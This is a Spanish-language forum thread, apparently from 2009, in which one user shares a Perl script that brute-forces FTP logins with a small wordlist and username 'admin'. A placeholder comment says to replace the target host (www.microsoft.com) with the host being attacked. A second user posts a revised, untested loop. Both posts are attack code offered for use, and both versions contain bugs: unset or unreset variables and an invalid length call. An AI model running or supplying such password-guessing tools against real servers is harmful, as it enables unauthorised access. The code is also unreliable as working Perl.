 Autor
|
Tema: ~Mi primer Ftp Brute Force en Perl.~ (Leído 5,057 veces)
|
sikik
 Desconectado
Mensajes: 665
Jo sóc jo i la meva circumstància.
|
Estos dias de vacas me he puesto a programar un poco de perl, y esta mañana he terminado un brute force en perl, os dejo aqui el code #!/usr/bin/perl #este programa va probando palabras de la lista @letras hasta que encuentra la contraseña correcta. #este script esta hecho por sikik, bajo licencia bsd. use Net::FTP; $username=admin; #se podria hacer tambien en brute force, pero seria muy lento. $dead=0; while(1) { @letras=(a, b, c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga. $password=@letras[$posicion]; $ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos. $ftp->login($username, $password) or $dead=1; if($dead==0) { die("Contraseña encontrada, el password es: $password"); } };
|
|
|
|
« Última modificación: 30 Noviembre 2009, 15:12 pm por Novlucker »
|
En línea
|
"Social Engineer -> Because there is no patch for human stupidity". "Però qui s'ha inclinat sobre l'abisme, qui ha vist, patirà per sempre la temptació de tornar un altre cop a aquest punt negre en el qual les tenebres il·luminen(...)" Warning: shell_exec() has been disabled for security reasons at line 274. |
|
|
pepel
Desconectado
Mensajes: 1.099
Uno más
|
tal y como esta hecho puede que repitas varias veces el mismo pass = Poco optimo.(al igual que ya que no vamos acambiar el array letras, mejor ponerlo fuera del bucle) mejor si cambias el bucle por este: @letras=(a, b, c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga. $posicion=0; while( $posicion < length(letras )) { $posicion=$posicion+1; $password=@letras[$posicion]; $ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos. $ftp->login($username, $password) or $dead=1; if($dead==0) { die("Contraseña encontrada, el password es: $password"); } };
saludos, pepel P.D. codigo no probado xD
|
|
|
|
« Última modificación: 30 Noviembre 2009, 15:12 pm por Novlucker »
|
En línea
|
Para algunos, la vida es galopar un camino empedrado de horas, minutos y segundos.
Yo, más humilde soy, y sólo quiero que la ola que surge del último suspiro de un segundo, me transporte mecido hasta el siguiente.
|
|
|
|
 |
